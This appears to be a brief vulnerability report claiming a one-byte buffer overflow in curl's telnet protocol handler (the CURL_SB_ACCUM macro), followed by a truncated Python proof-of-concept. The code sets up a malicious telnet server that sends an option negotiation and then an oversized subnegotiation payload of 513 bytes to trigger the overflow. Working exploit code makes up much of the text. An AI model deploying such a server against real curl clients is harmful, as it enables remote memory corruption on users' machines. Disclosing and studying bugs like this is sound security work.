Curl Telnet Handler Buffer Overflow

Summary: I found a buffer overflow in curl's telnet protocol handler that allows remote memory corruption without authentication. The bug is in the CURL_SB_ACCUM macro in lib/telnet.c line 69, where the bounds check lets you write one byte past the end of a 512-byte buffer. When curl receives 512+ …

import socket
import threading
import time

def exploit(port=8023):
    def handle(client):
        time.sleep(0.2)
        client.send(b'\xff\xfd\x18')
        time.sleep(0.3)
        payload = b'\xff\xfa' + b'A' * 513 + b'\xff\xf0'
        client.send(payload)
        client.close()
    
    s = …